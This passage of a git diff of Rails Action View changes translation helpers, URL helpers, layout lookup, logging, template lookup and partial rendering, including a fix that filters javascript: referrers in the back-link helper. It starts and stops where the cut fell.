module Helpers module TranslationHelper + extend ActiveSupport::Concern + include TagHelper - # Delegates to <tt>I18n#translate</tt> but also performs three additional functions. + + included do + mattr_accessor :debug_missing_translation + self.debug_missing_translation = true + end + + # Delegates to <tt>I18n#translate</tt> but also performs three additional + # functions. + # + # First, it will ensure that any thrown +MissingTranslation+ messages will + # be rendered as inline spans that: + # + # * Have a <tt>translation-missing</tt> class applied + # * Contain the missing key as the value of the +title+ attribute + # * Have a titleized version of the last key segment as text # - # First, it will ensure that any thrown +MissingTranslation+ messages will be turned - # into inline spans that: + # For example, the value returned for the missing translation key + # <tt>"blog.post.title"</tt> will be: # - # * have a "translation-missing" class set, - # * contain the missing key as a title attribute and - # * a titleized version of the last key segment as a text. + # <span + # class="translation_missing" + # title="translation missing: en.blog.post.title">Title</span> # - # E.g. the value returned for a missing translation key :"blog.post.title" will be - # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>. - # This way your views will display rather reasonable strings but it will still - # be easy to spot missing translations. + # This allows for views to display rather reasonable strings while still + # giving developers a way to find missing translations. # - # Second, it'll scope the key by the current partial if the key starts - # with a period. So if you call <tt>translate(".foo")</tt> from the - # <tt>people/index.html.erb</tt> template, you'll actually be calling - # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive - # to translate many keys within the same partials and gives you a simple framework - # for scoping them consistently. If you don't prepend the key with a period, - # nothing is converted. + # If you would prefer missing translations to raise an error, you can + # opt out of span-wrapping behavior globally by setting + # <tt>ActionView::Base.raise_on_missing_translations = true</tt> or + # individually by passing <tt>raise: true</tt> as an option to + # <tt>translate</tt>. # - # Third, it'll mark the translation as safe HTML if the key has the suffix - # "_html" or the last element of the key is the word "html". For example, - # calling translate("footer_html") or translate("footer.html") will return - # a safe HTML string that won't be escaped by other HTML helper methods. This - # naming convention helps to identify translations that include HTML tags so that - # you know what kind of output to expect when you call translate in a template. + # Second, if the key starts with a period <tt>translate</tt> will scope + # the key by the current partial. Calling <tt>translate(".foo")</tt> from + # the <tt>people/index.html.erb</tt> template is equivalent to calling + # <tt>translate("people.index.foo")</tt>. This makes it less + # repetitive to translate many keys within the same partial and provides + # a convention to scope keys consistently. + # + # Third, the translation will be marked as <tt>html_safe</tt> if the key + # has the suffix "_html" or the last element of the key is "html". Calling + # <tt>translate("footer_html")</tt> or <tt>translate("footer.html")</tt> + # will return an HTML safe string that won't be escaped by other HTML + # helper methods. This naming convention helps to identify translations + # that include HTML tags so that you know what kind of output to expect + # when you call translate in a template and translators know which keys + # they can provide HTML values for. def translate(key, options = {}) options = options.dup has_default = options.has_key?(:default) - remaining_defaults = Array(options.delete(:default)) + remaining_defaults = Array(options.delete(:default)).compact if has_default && !remaining_defaults.first.kind_of?(Symbol) - options[:default] = remaining_defaults.shift + options[:default] = remaining_defaults end # If the user has explicitly decided to NOT raise errors, pass that option to I18n. # Otherwise, tell I18n to raise an exception, which we rescue further in this method. # Note: `raise_error` refers to us re-raising the error in this method. I18n is forced to raise by default. - if options[:raise] == false || (options.key?(:rescue_format) && options[:rescue_format].nil?) + if options[:raise] == false raise_error = false - options[:raise] = false + i18n_raise = false else - raise_error = options[:raise] || options[:rescue_format] || ActionView::Base.raise_on_missing_translations - options[:raise] = true + raise_error = options[:raise] || ActionView::Base.raise_on_missing_translations + i18n_raise = true end if html_safe_translation_key?(key) @@ -62,11 +83,11 @@ module ActionView html_safe_options[name] = ERB::Util.html_escape(value.to_s) end end - translation = I18n.translate(scope_key_by_partial(key), html_safe_options) + translation = I18n.translate(scope_key_by_partial(key), html_safe_options.merge(raise: i18n_raise)) translation.respond_to?(:html_safe) ? translation.html_safe : translation else - I18n.translate(scope_key_by_partial(key), options) + I18n.translate(scope_key_by_partial(key), options.merge(raise: i18n_raise)) end rescue I18n::MissingTranslationData => e if remaining_defaults.present? @@ -75,7 +96,16 @@ module ActionView raise e if raise_error keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope]) - content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}") + title = "translation missing: #{keys.join('.')}" + + interpolations = options.except(:default, :scope) + if interpolations.any? + title << ", " << interpolations.map { |k, v| "#{k}: #{ERB::Util.html_escape(v)}" }.join(', ') + end + + return title unless ActionView::Base.debug_missing_translation + + content_tag('span', keys.last.to_s.titleize, class: 'translation_missing', title: title) end end alias :t :translate diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb index 4c436bce25..11c7daf4da 100644 --- a/actionview/lib/action_view/helpers/url_helper.rb +++ b/actionview/lib/action_view/helpers/url_helper.rb @@ -41,11 +41,21 @@ module ActionView end def _back_url # :nodoc: - referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"] - referrer || 'javascript:history.back()' + _filtered_referrer || 'javascript:history.back()' end protected :_back_url + def _filtered_referrer # :nodoc: + if controller.respond_to?(:request) + referrer = controller.request.env["HTTP_REFERER"] + if referrer && URI(referrer).scheme != 'javascript' + referrer + end + end + rescue URI::InvalidURIError + end + protected :_filtered_referrer + # Creates an anchor element of the given +name+ using a URL created by the set of +options+. # See the valid options in the documentation for +url_for+. It's also possible to # pass a String instead of an options hash, which generates an anchor element that uses the @@ -172,6 +182,11 @@ module ActionView # # link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" } # # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a> + # + # Also you can set any link attributes such as <tt>target</tt>, <tt>rel</tt>, <tt>type</tt>: + # + # link_to "External link", "http://www.rubyonrails.org/", target: "_blank", rel: "nofollow" + # # => <a href="http://www.rubyonrails.org/" target="_blank" rel="nofollow">External link</a> def link_to(name = nil, options = nil, html_options = nil, &block) html_options, options, name = options, name, block if block_given? options ||= {} @@ -179,9 +194,9 @@ module ActionView html_options = convert_options_to_data_attributes(options, html_options) url = url_for(options) - html_options['href'] ||= url + html_options["href".freeze] ||= url - content_tag(:a, name || url, html_options, &block) + content_tag("a".freeze, name || url, html_options, &block) end # Generates a form containing a single button that submits to the URL created @@ -287,15 +302,21 @@ module ActionView params = html_options.delete('params') method = html_options.delete('method').to_s - method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : ''.html_safe + method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : ''.freeze.html_safe form_method = method == 'get' ? 'get' : 'post' form_options = html_options.delete('form') || {} form_options[:class] ||= html_options.delete('form_class') || 'button_to' - form_options.merge!(method: form_method, action: url) - form_options.merge!("data-remote" => "true") if remote + form_options[:method] = form_method + form_options[:action] = url + form_options[:'data-remote'] = true if remote - request_token_tag = form_method == 'post' ? token_tag : '' + request_token_tag = if form_method == 'post' + request_method = method.empty? ? 'post' : method + token_tag(nil, form_options: { action: url, method: request_method }) + else + ''.freeze + end html_options = convert_options_to_data_attributes(options, html_options) html_options['type'] = 'submit' @@ -309,8 +330,8 @@ module ActionView inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag) if params - params.each do |param_name, value| - inner_tags.safe_concat tag(:input, type: "hidden", name: param_name, value: value.to_param) + to_form_params(params).each do |param| + inner_tags.safe_concat tag(:input, type: "hidden", name: param[:name], value: param[:value]) end end content_tag('form', inner_tags, form_options) @@ -458,69 +479,58 @@ module ActionView extras = %w{ cc bcc body subject reply_to }.map! { |item| option = html_options.delete(item).presence || next - "#{item.dasherize}=#{Rack::Utils.escape_path(option)}" + "#{item.dasherize}=#{ERB::Util.url_encode(option)}" }.compact - extras = extras.empty? ? '' : '?' + extras.join('&') + extras = extras.empty? ? ''.freeze : '?' + extras.join('&') - html_options["href"] = "mailto:#{email_address}#{extras}" + encoded_email_address = ERB::Util.url_encode(email_address).gsub("%40", "@") + html_options["href"] = "mailto:#{encoded_email_address}#{extras}" - content_tag(:a, name || email_address, html_options, &block) + content_tag("a".freeze, name || email_address, html_options, &block) end # True if the current request URI was generated by the given +options+. # # ==== Examples - # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc</tt> action. + # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action. # # current_page?(action: 'process') # # => false # - # current_page?(controller: 'shop', action: 'checkout') - # # => true - # - # current_page?(controller: 'shop', action: 'checkout', order: 'asc') - # # => false - # # current_page?(action: 'checkout') # # => true # # current_page?(controller: 'library', action: 'checkout') # # => false # - # current_page?('http://www.example.com/shop/checkout') - # # => true - # - # current_page?('/shop/checkout') + # current_page?(controller: 'shop', action: 'checkout') # # => true # - # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action. - # - # current_page?(action: 'process') + # current_page?(controller: 'shop', action: 'checkout', order: 'asc') # # => false # - # current_page?(controller: 'shop', action: 'checkout') - # # => true - # # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1') # # => true # # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2') # # => false # - # current_page?(controller: 'shop', action: 'checkout', order: 'desc') - # # => false + # current_page?('http://www.example.com/shop/checkout') + # # => true # - # current_page?(action: 'checkout') + # current_page?('/shop/checkout') # # => true # - # current_page?(controller: 'library', action: 'checkout') - # # => false + # current_page?('http://www.example.com/shop/checkout?order=desc&page=1') + # # => true # # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product. # # current_page?(controller: 'product', action: 'index') # # => false # + # We can also pass in the symbol arguments instead of strings. + # def current_page?(options) unless request raise "You cannot use helpers that need to determine the current " \ @@ -549,43 +559,79 @@ module ActionView def convert_options_to_data_attributes(options, html_options) if html_options html_options = html_options.stringify_keys - html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options) + html_options['data-remote'] = 'true'.freeze if link_to_remote_options?(options) || link_to_remote_options?(html_options) - method = html_options.delete('method') + method = html_options.delete('method'.freeze) add_method_to_attributes!(html_options, method) if method html_options else - link_to_remote_options?(options) ? {'data-remote' => 'true'} : {} + link_to_remote_options?(options) ? {'data-remote' => 'true'.freeze} : {} end end def link_to_remote_options?(options) if options.is_a?(Hash) - options.delete('remote') || options.delete(:remote) + options.delete('remote'.freeze) || options.delete(:remote) end end def add_method_to_attributes!(html_options, method) - if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/ - html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip + if method && method.to_s.downcase != "get".freeze && html_options["rel".freeze] !~ /nofollow/ + html_options["rel".freeze] = "#{html_options["rel".freeze]} nofollow".lstrip end - html_options["data-method"] = method + html_options["data-method".freeze] = method end - def token_tag(token=nil) + def token_tag(token=nil, form_options: {}) if token != false && protect_against_forgery? - token ||= form_authenticity_token + token ||= form_authenticity_token(form_options: form_options) tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token) else - '' + ''.freeze end end def method_tag(method) tag('input', type: 'hidden', name: '_method', value: method.to_s) end + + # Returns an array of hashes each containing :name and :value keys + # suitable for use as the names and values of form input fields: + # + # to_form_params(name: 'David', nationality: 'Danish') + # # => [{name: :name, value: 'David'}, {name: 'nationality', value: 'Danish'}] + # + # to_form_params(country: {name: 'Denmark'}) + # # => [{name: 'country[name]', value: 'Denmark'}] + # + # to_form_params(countries: ['Denmark', 'Sweden']}) + # # => [{name: 'countries[]', value: 'Denmark'}, {name: 'countries[]', value: 'Sweden'}] + # + # An optional namespace can be passed to enclose key names: + # + # to_form_params({ name: 'Denmark' }, 'country') + # # => [{name: 'country[name]', value: 'Denmark'}] + def to_form_params(attribute, namespace = nil) # :nodoc: + params = [] + case attribute + when Hash + attribute.each do |key, value| + prefix = namespace ? "#{namespace}[#{key}]" : key + params.push(*to_form_params(value, prefix)) + end + when Array + array_prefix = "#{namespace}[]" + attribute.each do |value| + params.push(*to_form_params(value, array_prefix)) + end + else + params << { name: namespace, value: attribute.to_param } + end + + params.sort_by { |pair| pair[:name] } + end end end end diff --git a/actionview/lib/action_view/layouts.rb b/actionview/lib/action_view/layouts.rb index 9d636c8c9e..a74a5e05f3 100644 --- a/actionview/lib/action_view/layouts.rb +++ b/actionview/lib/action_view/layouts.rb @@ -277,7 +277,7 @@ module ActionView remove_possible_method(:_layout) prefixes = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"] - default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}).first || super" + default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}, false, [], { formats: formats }).first || super" name_clause = if name default_behavior else @@ -316,7 +316,7 @@ module ActionView end self.class_eval <<-RUBY, __FILE__, __LINE__ + 1 - def _layout + def _layout(formats) if _conditional_layout? #{layout_definition} else @@ -372,7 +372,7 @@ module ActionView end # This will be overwritten by _write_layout_method - def _layout; end + def _layout(*); end # Determine the layout for a given name, taking into account the name type. # @@ -382,8 +382,8 @@ module ActionView case name when String then _normalize_layout(name) when Proc then name - when true then Proc.new { _default_layout(true) } - when :default then Proc.new { _default_layout(false) } + when true then Proc.new { |formats| _default_layout(formats, true) } + when :default then Proc.new { |formats| _default_layout(formats, false) } when false, nil then nil else raise ArgumentError, @@ -399,14 +399,15 @@ module ActionView # Optionally raises an exception if the layout could not be found. # # ==== Parameters + # * <tt>formats</tt> - The formats accepted to this layout # * <tt>require_layout</tt> - If set to true and layout is not found, - # an ArgumentError exception is raised (defaults to false) + # an +ArgumentError+ exception is raised (defaults to false) # # ==== Returns # * <tt>template</tt> - The template object for the default layout (or nil) - def _default_layout(require_layout = false) + def _default_layout(formats, require_layout = false) begin - value = _layout if action_has_layout? + value = _layout(formats) if action_has_layout? rescue NameError => e raise e, "Could not render layout: #{e.message}" end diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb index 9047dbdd85..5a29c68214 100644 --- a/actionview/lib/action_view/log_subscriber.rb +++ b/actionview/lib/action_view/log_subscriber.rb @@ -20,7 +20,23 @@ module ActionView end end alias :render_partial :render_template - alias :render_collection :render_template + + def render_collection(event) + identifier = event.payload[:identifier] || 'templates' + + info do + " Rendered collection of #{from_rails_root(identifier)}" \ + " #{render_count(event.payload)} (#{event.duration.round(1)}ms)" + end + end + + def start(name, id, payload) + if name == "render_template.action_view" + log_rendering_start(payload) + end + + super + end def logger ActionView::Base.logger @@ -38,6 +54,24 @@ module ActionView def rails_root @root ||= "#{Rails.root}/" end + + def render_count(payload) + if payload[:cache_hits] + "[#{payload[:cache_hits]} / #{payload[:count]} cache hits]" + else + "[#{payload[:count]} times]" + end + end + + private + + def log_rendering_start(payload) + info do + message = " Rendering #{from_rails_root(payload[:identifier])}" + message << " within #{from_rails_root(payload[:layout])}" if payload[:layout] + message + end + end end end diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb index 36855ec3d0..626c4b8f5e 100644 --- a/actionview/lib/action_view/lookup_context.rb +++ b/actionview/lib/action_view/lookup_context.rb @@ -1,4 +1,4 @@ -require 'thread_safe' +require 'concurrent/map' require 'active_support/core_ext/module/remove_method' require 'active_support/core_ext/module/attribute_accessors' require 'action_view/template/resolver' @@ -6,10 +6,11 @@ require 'action_view/template/resolver' module ActionView # = Action View Lookup Context # - # LookupContext is the object responsible to hold all information required to lookup - # templates, i.e. view paths and details. The LookupContext is also responsible to - # generate a key, given to view paths, used in the resolver cache lookup. Since - # this key is generated just once during the request, it speeds up all cache accesses. + # <tt>LookupContext</tt> is the object responsible for holding all information + # required for looking up templates, i.e. view paths and details. + # <tt>LookupContext</tt> is also responsible for generating a key, given to + # view paths, used in the resolver cache lookup. Since this key is generated + # only once during the request, it speeds up all cache accesses. class LookupContext #:nodoc: attr_accessor :prefixes, :rendered_format @@ -19,9 +20,9 @@ module ActionView mattr_accessor :registered_details self.registered_details = [] - def self.register_detail(name, options = {}, &block) + def self.register_detail(name, &block) self.registered_details << name - initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" } + Accessors::DEFAULT_PROCS[name] = block Accessors.send :define_method, :"default_#{name}", &block Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1 @@ -33,16 +34,12 @@ module ActionView value = value.present? ? Array(value) : default_#{name} _set_detail(:#{name}, value) if value != @details[:#{name}] end - - remove_possible_method :initialize_details - def initialize_details(details) - #{initialize.join("\n")} - end METHOD end # Holds accessors for the registered details. module Accessors #:nodoc: + DEFAULT_PROCS = {} end register_detail(:locale) do @@ -54,19 +51,17 @@ module ActionView end register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] } register_detail(:variants) { [] } - register_detail(:handlers){ Template::Handlers.extensions } + register_detail(:handlers) { Template::Handlers.extensions } class DetailsKey #:nodoc: alias :eql? :equal? - alias :object_hash :hash - attr_reader :hash - @details_keys = ThreadSafe::Cache.new + @details_keys = Concurrent::Map.new def self.get(details) if details[:formats] details = details.dup - details[:formats] &= Mime::SET.symbols + details[:formats] &= Template::Types.symbols end @details_keys[details] ||= new end @@ -75,8 +70,14 @@ module ActionView @details_keys.clear end + def self.digest_caches + @details_keys.values.map(&:digest_cache) + end + + attr_reader :digest_cache + def initialize - @hash = object_hash + @digest_cache = Concurrent::Map.new end end @@ -122,15 +123,24 @@ module ActionView end alias :find_template :find + def find_file(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options)) + end + def find_all(name, prefixes = [], partial = false, keys = [], options = {}) @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options)) end - def exists?(name, prefixes = [], partial = false, keys = [], options = {}) + def exists?(name, prefixes = [], partial = false, keys = [], **options) @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options)) end alias :template_exists? :exists? + def any?(name, prefixes = [], partial = false) + @view_paths.exists?(*args_for_any(name, prefixes, partial)) + end + alias :any_templates? :any? + # Adds fallbacks to the view paths. Useful in cases when you are rendering # a :file. def with_fallbacks @@ -167,18 +177,44 @@ module ActionView [user_details, details_key] end + def args_for_any(name, prefixes, partial) # :nodoc: + name, prefixes = normalize_name(name, prefixes) + details, details_key = detail_args_for_any + [name, prefixes, partial || false, details, details_key] + end + + def detail_args_for_any # :nodoc: + @detail_args_for_any ||= begin + details = {} + + registered_details.each do |k| + if k == :variants + details[k] = :any + else + details[k] = Accessors::DEFAULT_PROCS[k].call + end + end + + if @cache + [details, DetailsKey.get(details)] + else + [details, nil] + end + end + end + # Support legacy foo.erb names even though we now ignore .erb # as well as incorrectly putting part of the path in the template # name instead of the prefix. def normalize_name(name, prefixes) #:nodoc: prefixes = prefixes.presence - parts = name.to_s.split('/') + parts = name.to_s.split('/'.freeze) parts.shift if parts.first.empty? name = parts.pop return name, prefixes || [""] if parts.empty? - parts = parts.join('/') + parts = parts.join('/'.freeze) prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts] return name, prefixes @@ -190,20 +226,32 @@ module ActionView include ViewPaths def initialize(view_paths, details = {}, prefixes = []) - @details, @details_key = {}, nil + @details_key = nil @cache = true @prefixes = prefixes @rendered_format = nil + @details = initialize_details({}, details) self.view_paths = view_paths - initialize_details(details) end + def digest_cache + details_key.digest_cache + end + + def initialize_details(target, details) + registered_details.each do |k| + target[k] = details[k] || Accessors::DEFAULT_PROCS[k].call + end + target + end + private :initialize_details + # Override formats= to expand ["*/*"] values and automatically # add :html as fallback to :js. def formats=(values) if values - values.concat(default_formats) if values.delete "*/*" + values.concat(default_formats) if values.delete "*/*".freeze if values == [:js] values << :html @html_fallback_for_js = true @@ -228,21 +276,5 @@ module ActionView super(default_locale) end - - # Uses the first format in the formats array for layout lookup. - def with_layout_format - if formats.size == 1 - yield - else - old_formats = formats - _set_detail(:formats, formats[0,1]) - - begin - yield - ensure - _set_detail(:formats, old_formats) - end - end - end end end diff --git a/actionview/lib/action_view/path_set.rb b/actionview/lib/action_view/path_set.rb index 91ee2ea8f5..f68d2a77ed 100644 --- a/actionview/lib/action_view/path_set.rb +++ b/actionview/lib/action_view/path_set.rb @@ -46,23 +46,44 @@ module ActionView #:nodoc: find_all(*args).first || raise(MissingTemplate.new(self, *args)) end + def find_file(path, prefixes = [], *args) + _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args)) + end + def find_all(path, prefixes = [], *args) + _find_all path, prefixes, args, false + end + + def exists?(path, prefixes, *args) + find_all(path, prefixes, *args).any? + end + + def find_all_with_query(query) # :nodoc: + paths.each do |resolver| + templates = resolver.find_all_with_query(query) + return templates unless templates.empty? + end + + [] + end + + private + + def _find_all(path, prefixes, args, outside_app) prefixes = [prefixes] if String === prefixes prefixes.each do |prefix| paths.each do |resolver| - templates = resolver.find_all(path, prefix, *args) + if outside_app + templates = resolver.find_all_anywhere(path, prefix, *args) + else + templates = resolver.find_all(path, prefix, *args) + end return templates unless templates.empty? end end [] end - def exists?(path, prefixes, *args) - find_all(path, prefixes, *args).any? - end - - private - def typecast(paths) paths.map do |path| case path diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb index 9a26cba574..dfb99f4ea9 100644 --- a/actionview/lib/action_view/railtie.rb +++ b/actionview/lib/action_view/railtie.rb @@ -6,6 +6,7 @@ module ActionView class Railtie < Rails::Railtie # :nodoc: config.action_view = ActiveSupport::OrderedOptions.new config.action_view.embed_authenticity_token_in_remote_forms = false + config.action_view.debug_missing_translation = true config.eager_load_namespaces << ActionView @@ -36,9 +37,11 @@ module ActionView end end - initializer "action_view.collection_caching" do |app| - ActiveSupport.on_load(:action_controller) do - PartialRenderer.collection_cache = app.config.action_controller.cache_store + initializer "action_view.per_request_digest_cache" do |app| + ActiveSupport.on_load(:action_view) do + if app.config.consider_all_requests_local + app.executor.to_run { ActionView::LookupContext::DetailsKey.clear } + end end end @@ -48,8 +51,14 @@ module ActionView end end - rake_tasks do - load "action_view/tasks/dependencies.rake" + initializer "action_view.collection_caching", after: "action_controller.set_configs" do |app| + PartialRenderer.collection_cache = app.config.action_controller.cache_store + end + + rake_tasks do |app| + unless app.config.api_only + load "action_view/tasks/cache_digests.rake" + end end end end diff --git a/actionview/lib/action_view/record_identifier.rb b/actionview/lib/action_view/record_identifier.rb index 6c6e69101b..4a2547b0fb 100644 --- a/actionview/lib/action_view/record_identifier.rb +++ b/actionview/lib/action_view/record_identifier.rb @@ -5,24 +5,25 @@ module ActionView # RecordIdentifier encapsulates methods used by various ActionView helpers # to associate records with DOM elements. # - # Consider for example the following code that displays the body of a post: + # Consider for example the following code that form of post: # - # <%= div_for(post) do %> - # <%= post.body %> + # <%= form_for(post) do |f| %> + # <%= f.text_field :body %> # <% end %> # - # When +post+ is a new, unsaved ActiveRecord::Base intance, the resulting HTML + # When +post+ is a new, unsaved ActiveRecord::Base instance, the resulting HTML # is: # - # <div id="new_post" class="post"> - # </div> + # <form class="new_post" id="new_post" action="/posts" accept-charset="UTF-8" method="post"> + # <input type="text" name="post[body]" id="post_body" /> + # </form> # # When +post+ is a persisted ActiveRecord::Base instance, the resulting HTML # is: # - # <div id="post_42" class="post"> - # What a wonderful world! - # </div> + # <form class="edit_post" id="edit_post_42" action="/posts/42" accept-charset="UTF-8" method="post"> + # <input type="text" value="What a wonderful world!" name="post[body]" id="post_body" /> + # </form> # # In both cases, the +id+ and +class+ of the wrapping DOM element are # automatically generated, following naming conventions encapsulated by the diff --git a/actionview/lib/action_view/renderer/abstract_renderer.rb b/actionview/lib/action_view/renderer/abstract_renderer.rb index 1f122f9bc6..1dddf53df0 100644 --- a/actionview/lib/action_view/renderer/abstract_renderer.rb +++ b/actionview/lib/action_view/renderer/abstract_renderer.rb @@ -15,7 +15,7 @@ module ActionView # that new object is called in turn. This abstracts the setup and rendering # into a separate classes for partials and templates. class AbstractRenderer #:nodoc: - delegate :find_template, :template_exists?, :with_fallbacks, :with_layout_format, :formats, :to => :@lookup_context + delegate :find_template, :find_file, :template_exists?, :any_templates?, :with_fallbacks, :with_layout_format, :formats, :to => :@lookup_context def initialize(lookup_context) @lookup_context = lookup_context @@ -35,8 +35,12 @@ module ActionView end end - def instrument(name, options={}) - ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield } + def instrument(name, **options) + options[:identifier] ||= (@template && @template.identifier) || @path + + ActiveSupport::Notifications.instrument("render_#{name}.action_view", options) do |payload| + yield payload + end end def prepend_formats(formats) diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb index 56b8ab1e2d..13b4ec6133 100644 --- a/actionview/lib/action_view/renderer/partial_renderer.rb +++ b/actionview/lib/action_view/renderer/partial_renderer.rb @@ -1,5 +1,5 @@ require 'action_view/renderer/partial_renderer/collection_caching' -require 'thread_safe' +require 'concurrent/map' module ActionView class PartialIteration @@ -154,23 +154,23 @@ module ActionView # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types # of users: # - # <%# app/views/users/index.html.erb &> + # <%# app/views/users/index.html.erb %> # Here's the administrator: # <%= render partial: "user", layout: "administrator", locals: { user: administrator } %> # # Here's the editor: # <%= render partial: "user", layout: "editor", locals: { user: editor } %> # - # <%# app/views/users/_user.html.erb &> + # <%# app/views/users/_user.html.erb %> # Name: <%= user.name %> # - # <%# app/views/users/_administrator.html.erb &> + # <%# app/views/users/_administrator.html.erb %> # <div id="administrator"> # Budget: $<%= user.budget %> # <%= yield %> # </div> # - # <%# app/views/users/_editor.html.erb &> + # <%# app/views/users/_editor.html.erb %> # <div id="editor"> # Deadline: <%= user.deadline %> # <%= yield %> @@ -233,7 +233,7 @@ module ActionView # # You can also apply a layout to a block within any template: # - # <%# app/views/users/_chief.html.erb &> + # <%# app/views/users/_chief.html.erb %> # <%= render(layout: "administrator", locals: { user: chief }) do %> # Title: <%= chief.title %> # <% end %> @@ -250,13 +250,13 @@ module ActionView # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass # an array to layout and treat it as an enumerable. # - # <%# app/views/users/_user.html.erb &> + # <%# app/views/users/_user.html.erb %> # <div class="user"> # Budget: $<%= user.budget %> # <%= yield user %> # </div> # - # <%# app/views/users/index.html.erb &> + # <%# app/views/users/index.html.erb %> # <%= render layout: @users do |user| %> # Title: <%= user.title %> # <% end %> @@ -265,14 +265,14 @@ module ActionView # # You can also yield multiple times in one layout and use block arguments to differentiate the sections. # - # <%# app/views/users/_user.html.erb &> + # <%# app/views/users/_user.html.erb %> # <div class="user"> # <%= yield user, :header %> # Budget: $<%= user.budget %> # <%= yield user, :footer %> # </div> # - # <%# app/views/users/index.html.erb &> + # <%# app/views/users/index.html.erb %> # <%= render layout: @users do |user, section| %> # <%- case section when :header -%> # Title: <%= user.title %> @@ -283,8 +283,8 @@ module ActionView class PartialRenderer < AbstractRenderer include CollectionCaching - PREFIXED_PARTIAL_NAMES = ThreadSafe::Cache.new do |h, k| - h[k] = ThreadSafe::Cache.new + PREFIXED_PARTIAL_NAMES = Concurrent::Map.new do |h, k| + h[k] = Concurrent::Map.new end def initialize(*) @@ -294,7 +294,7 @@ module ActionView def render(context, options, block) setup(context, options, block) - identifier = (@template = find_partial) ? @template.identifier : @path + @template = find_partial @lookup_context.rendered_format ||= begin if @template && @template.formats.present? @@ -305,11 +305,9 @@ module ActionView end if @collection - instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do - render_collection - end + render_collection else - instrument(:partial, :identifier => identifier) do + instrument(:partial) do render_partial end end @@ -318,15 +316,17 @@ module ActionView private def render_collection - return nil if @collection.blank? + instrument(:collection, count: @collection.size) do |payload| + return nil if @collection.blank? - if @options.key?(:spacer_template) - spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals) - end + if @options.key?(:spacer_template) + spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals) + end - cache_collection_render do - @template ? collection_with_template : collection_without_template - end.join(spacer).html_safe + cache_collection_render(payload) do + @template ? collection_with_template : collection_without_template + end.join(spacer).html_safe + end end def render_partial @@ -337,8 +337,8 @@ module ActionView layout = find_template(layout.to_s, @template_keys) end - object ||= locals[as] - locals[as] = object + object = locals[as] if object.nil? # Respect object when object is false + locals[as] = object if @has_object content = @template.render(view, locals) do |*name| view._layout_for(*name, &block) @@ -348,8 +348,6 @@ module ActionView content end - private - # Sets up instance variables needed for rendering a partial. This method # finds the options and details and extracts them. The method also contains # logic that handles the type of object passed in as the partial. @@ -522,8 +520,8 @@ module ActionView def retrieve_variable(path, as) variable = as || begin - base = path[-1] == "/" ? "" : File.basename(path) - raise_invalid_identifier(path) unless base =~ /\A_?(.*)(?:\.\w+)*\z/ + base = path[-1] == "/".freeze ? "".freeze : File.basename(path) + raise_invalid_identifier(path) unless base =~ /\A_?(.*?)(?:\.\w+)*\z/ $1.to_sym end if @collection diff --git a/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb b/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb index b77c884e66..f7deba94ce 100644 --- a/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb +++ b/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb @@ -1,67 +1,46 @@ -require 'active_support/core_ext/object/try' - module ActionView module CollectionCaching # :nodoc: extend ActiveSupport::Concern included do # Fallback cache store if Action View is used without Rails. - # Otherwise overriden in Railtie to use Rails.cache. + # Otherwise overridden in Railtie to use Rails.cache. mattr_accessor(:collection_cache) { ActiveSupport::Cache::MemoryStore.new } end private - def cache_collection_render - return yield unless cache_collection? + def cache_collection_render(instrumentation_payload) + return yield unless @options[:cached] keyed_collection = collection_by_cache_keys - partial_cache = collection_cache.read_multi(*keyed_collection.keys) + cached_partials = collection_cache.read_multi(*keyed_collection.keys) + instrumentation_payload[:cache_hits] = cached_partials.size - @collection = keyed_collection.reject { |key, _| partial_cache.key?(key) }.values - rendered_partials = @collection.any? ? yield.dup : [] + 